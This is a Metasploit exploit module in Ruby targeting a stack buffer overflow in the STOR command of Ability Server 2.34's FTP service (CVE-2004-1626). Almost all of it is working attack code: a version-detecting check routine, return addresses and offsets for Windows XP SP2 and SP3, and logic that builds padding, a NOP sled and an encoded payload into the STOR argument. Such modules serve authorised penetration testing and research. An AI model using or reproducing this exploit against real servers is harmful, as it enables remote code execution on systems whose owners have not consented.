## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Ability Server 2.34. Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands, which leads to a stack based buffer overflow. This plugin uses the 'STOR' command. The vulnerability has been confirmed on version 2.34 and has also been reported in version 2.25 and 2.32. Other versions may also be affected. }, 'Author' => [ 'muts', #Initial discovery 'Dark Eagle', #same as muts 'Peter Osterberg' #Metasploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2004-1626' ], [ 'OSVDB', '11030'], [ 'EDB', '588'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 ENG', { #JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3) 'Ret' => 0x73E32ECF, 'Offset' => 966 } ], [ 'Windows XP SP3 ENG', { #JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced) 'Ret' => 0x7E429353, 'Offset' => 966 } ], ], 'DisclosureDate' => 'Oct 22 2004' )) register_options( [ Opt::RPORT(21), OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ]) ], self.class) end def check connect disconnect if banner =~ /Ability Server 2\.34/ return Exploit::CheckCode::Vulnerable else if banner =~ /Ability Server/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe end def exploit connect_login myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] # Take client ip + ftp user lengths into account for EIP offset padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length) junk = rand_text_alpha(padd_size) sploit = junk sploit << [target.ret].pack('V') sploit << make_nops(32) sploit << payload.encoded sploit << rand_text_alpha(sploit.length) send_cmd(['STOR', sploit], false) handler disconnect end end